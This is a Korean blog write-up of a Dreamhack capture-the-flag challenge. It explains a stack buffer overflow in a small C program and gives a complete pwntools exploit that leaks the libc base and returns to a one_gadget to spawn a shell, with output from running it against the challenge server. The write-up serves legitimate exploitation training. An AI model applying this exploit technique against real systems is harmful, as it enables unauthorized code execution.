[Write-Up] oneshot

컴컴한해커·2025년 2월 18일

Dreamhack-pwn

목록 보기
3/3

이번 문제는 ROP 가젯을 안만들고, one_gadget을 이용해서 익스플로잇 코드를 만드는 과정에 대해 정리하려고 작성했다.


📌 코드 분석

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

코드는 stdout의 주소를 받을 수 있고, msg[16]에 비해 46을 read하므로 버퍼 오버플로우가 발생하는 것을 알 수 있다.
일단 어떤 보호기법이 사용되었는지 확인하면 아래와 같다.

$ checksec ./oneshot
[*] '/home/li-sh/Desktop/dreamhack/one_shot/oneshot'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

NX, PIE, Partial RELRO가 적용되어있고, Canary는 없다.


📌 Write Up

일단 stdout의 주소를 알 수 있으므로, 우리는 이를 이용해서 lib의 base 주소를 구할 수 있다. 이 base 주소에 one_gadget의 offset을 더해서 RET에 입력하면 될 것 같다. 간단한 문제인 것 같다.
우선 one_gadget의 주소를 구해야 하는데 해당 명령어는 아래와 같이 확인 할 수 있다.

$ one_gadget ./libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

해당 명령어는 ./ligbc.so.6에 대한 one_gadget의 offset 주소를 확인 할 수 있다.
이를 이용해서 해당 문제의 익스플로잇 코드를 짜면 아래와 같다.

from pwn import *

# p = process('./oneshot')
p = remote('host1.dreamhack.games', 18958)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')


def slog(name, addr): return success(': '.join([name,hex(addr)]))

one_gadget = 0x45216

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1],16)
base = stdout - libc.symbols["_IO_2_1_stdout_"]
one_gadget = base + one_gadget

# [1] Leak libc base
payload = b'\x00'* 32
payload += b'\x00'*8
payload += p64(one_gadget)

p.sendafter("MSG: ", payload)
p.interactive()

참고로 check>0이 되면 종료가 되기 때문에 모든 값을 0으로 집어넣었다.
결과는 아래와 같다.

[+] STDOUT: 0x7f329f668620
[+] base: 0x7f329f2a3000
[+] one_gadget: 0x7f329f2e8216
/home/li-sh/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] Switching to interactive mode
 MSG: 
$ cat flag
DH{***********************}

one_gadget은 ROP chain을 구성할 필요없어 매우 강력하지만, libc의 버전마다 다르게 존재하며, 제약 조건도 다 다르기 때문에, one_gadget을 맹신하지 말고, ROP chaining도 연습해놓아야 한다.

0개의 댓글